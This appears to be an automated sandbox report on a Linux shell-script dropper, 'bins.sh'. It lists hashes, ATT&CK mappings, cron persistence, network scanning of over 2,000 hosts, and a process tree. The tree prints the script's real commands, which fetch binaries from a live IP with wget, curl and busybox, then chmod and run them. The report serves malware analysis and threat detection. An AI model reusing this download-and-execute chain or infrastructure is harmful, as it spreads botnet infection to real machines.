6265eebce01310bd7f75b57be67d5ae35e4f453ef437e8941475ed24ee3b9765

Analysis

max time kernel
149s
max time network
152s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
07/11/2024, 02:32

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General

Target
bins.sh
Size 10KB
Sample241107-cz94bawkbj
SHA256 6265eebce01310bd7f75b57be67d5ae35e4f453ef437e8941475ed24ee3b9765
MD5 4bd23794c28b1934d8a5a8a29e58488c
SHA1 5ae5ba895bd9485a91d094c09ad61707e76417d0
SHA512 12ce82921ac72e233e41e53f0b0bb1d5646016a14047a0196a6f1e4a242ca8b8451c7dbad233d83b47f2000296031cbd86c286c0c3c0587774d31226a6d83137
SSDEEP 96:NimB83XJ66puaTUcjuq/e20vRJ49xdLTcc9LoDquq/e2CvRJ49x1cSmrCqU66pub:cTUcjuq/e20uLTcc11uq/e2+yK5
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2083) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
681	chmod
697	chmod
726	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c	682	jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c
/tmp/BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi	699	BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi
/tmp/vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y	727	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y

Renames itself 1 IoCs

pid	Process
728	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.n7nhLt	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/829/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/882/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/944/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/949/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/1001/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/761/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/789/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/823/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/765/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/783/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/812/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/871/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/921/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/18/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/29/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/41/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/1025/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/1045/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/924/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/1052/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/16/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/861/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/896/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/888/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/997/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/1032/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/1040/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/755/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/770/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/780/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/27/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/1063/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/886/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/898/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/951/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/957/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/1055/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/98/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/781/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/847/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/816/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/824/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/841/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/889/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/920/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/749/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/763/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/796/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/1047/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/1056/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/769/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/785/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/827/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/834/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/877/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/138/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/322/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/748/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/934/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/1074/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/1080/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/170/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/910/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
File opened for reading	/proc/1050/cmdline	vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c	curl
File opened for modification	/tmp/jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c	busybox
File opened for modification	/tmp/BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi	wget
File opened for modification	/tmp/vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y	wget
File opened for modification	/tmp/vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y	curl
File opened for modification	/tmp/jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c	wget
File opened for modification	/tmp/BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi	curl
File opened for modification	/tmp/BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi	busybox
File opened for modification	/tmp/vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:649
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:655
- /usr/bin/wget
  wget http://87.120.84.230/bins/jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c
  2⤵
  - Writes file to tmp directory
  PID:656
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:676
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c
  2⤵
  - Writes file to tmp directory
  PID:680
- /bin/chmod
  chmod 777 jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /tmp/jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c
  ./jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c
  2⤵
  - Executes dropped EXE
  PID:682
- /bin/rm
  rm jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c
  2⤵
  PID:684
- /usr/bin/wget
  wget http://87.120.84.230/bins/BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi
  2⤵
  - Writes file to tmp directory
  PID:685
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:686
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi
  2⤵
  - Writes file to tmp directory
  PID:693
- /bin/chmod
  chmod 777 BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi
  2⤵
  - File and Directory Permissions Modification
  PID:697
- /tmp/BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi
  ./BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi
  2⤵
  - Executes dropped EXE
  PID:699
- /bin/rm
  rm BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi
  2⤵
  PID:701
- /usr/bin/wget
  wget http://87.120.84.230/bins/vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
  2⤵
  - Writes file to tmp directory
  PID:702
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:712
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
  2⤵
  - Writes file to tmp directory
  PID:721
- /bin/chmod
  chmod 777 vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
  2⤵
  - File and Directory Permissions Modification
  PID:726
- /tmp/vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
  ./vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:727
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:730
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:731
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:733
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:734
- /bin/rm
  rm vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
  2⤵
  PID:747
- /usr/bin/wget
  wget http://87.120.84.230/bins/UoIcU7IMoVrPeJ8chhNAOMJ4BdZBxxn4qj
  2⤵
  PID:750

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi

Path /tmp/BdM3swex5GkNMj0ZFaOdO7IEFpkUlBCTYi
Size 98KB
SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
MD5 5141342d0df8699fa32a6b066a0c592e
SHA1 8157673225bd5182f16215e2aa823a25ca2d4fbc
SHA512 d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
SSDEEP 3072:lxvAwSaWFr5Ryrfb3jb9RxqgRfEma1b5wdL35sPX:32FrIT3/9jqgmma1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

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jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c

Path /tmp/jMLRpoCMTALSCSdZ6OVh1saphLiO1QpY8c
Size 112KB
SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
MD5 05d7857dcead18bbd86d2935f591873c
SHA1 34d18f41ef35f93d5364ce3e24d74730a4e91985
SHA512 d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
SSDEEP 3072:o0pHqiUxCoypP1Xyukbt56UFQ71SMSmUHM5RmNtbm9c:REOtiukxc3SmUHM5Rm/bm9c
MD5 SHA1 SHA512 SSDEEP

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vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y

Path /tmp/vVzZ88l1ftANj4aeeWatHjGRuTCunNVU0Y
Size 127KB
SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
MD5 89077b7bd4bcafca7713be43635c4862
SHA1 fc02edb8fba29ea8ee99e6157ef8560334530052
SHA512 1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
SSDEEP 3072:fgO463guSRVw5OhgfgnoHOIcv6Gosjr7fxmxKjQVnaMk9H8p:4ZmgoHONvposj3fxmxKjQVnal9H8p
MD5 SHA1 SHA512 SSDEEP

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tmp.n7nhLt

Path /var/spool/cron/crontabs/tmp.n7nhLt
Size 210B
SHA256 4087d22816f8a02a4f7e653ac781db65eadd16285d9ad09862ae07b16bbc2548
MD5 fd419976abb2f0396f38f5c2def2f80e
SHA1 6cceaebdb4a6af48facac8f4290a25b628aed9bb
SHA512 14d5f97b0d0efdd4d021fc6d4f49ca80b1e67078f84ac59dd58a81973c3bcecc20ebc2f140df9f53fab67db4b0c2a4e6d23a6374168b569c346779a35280f939
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads